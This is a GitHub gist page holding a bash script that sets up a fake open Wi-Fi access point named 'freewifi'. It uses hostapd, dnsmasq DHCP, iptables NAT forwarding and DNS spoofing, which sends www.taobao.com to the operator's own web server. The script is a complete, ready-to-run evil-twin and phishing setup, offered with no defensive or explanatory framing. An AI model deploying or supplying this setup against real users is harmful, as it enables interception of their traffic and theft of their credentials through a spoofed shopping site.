Skip to content

Instantly share code, notes, and snippets.

@rossning92
Last active October 10, 2020 08:42
Show Gist options
  • Save rossning92/31865bb8fada37d14b75013514eebf8d to your computer and use it in GitHub Desktop.
Save rossning92/31865bb8fada37d14b75013514eebf8d to your computer and use it in GitHub Desktop.
# Set wlan0 to unmanaged
cat >/etc/NetworkManager/NetworkManager.conf <<'EOF'
[main]
plugins=keyfile
[keyfile]
unmanaged-devices=interface-name:wlan0
EOF
service network-manager restart
# Configure IP addr
ifconfig wlan0 up
ifconfig wlan0 up 10.0.0.1 netmask 255.255.255.0
# Enable forwarding
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
sysctl -w net.ipv4.ip_forward=1
# Configure DHCP server and DNS spoofing
cat >/etc/dnsmasq.conf <<'EOF'
no-resolv
interface=wlan0
dhcp-range=10.0.0.3,10.0.0.20,12h
server=8.8.8.8
server=10.0.0.1
address=/www.taobao.com/10.0.0.1 # Put your web server IP address here!
EOF
/etc/init.d/dnsmasq stop
pkill dnsmasq
dnsmasq
# Create fake AP
cat >/etc/hostapd/hostapd.conf <<'EOF'
interface=wlan0
driver=nl80211
ssid=freewifi
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
EOF
hostapd /etc/hostapd/hostapd.conf
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment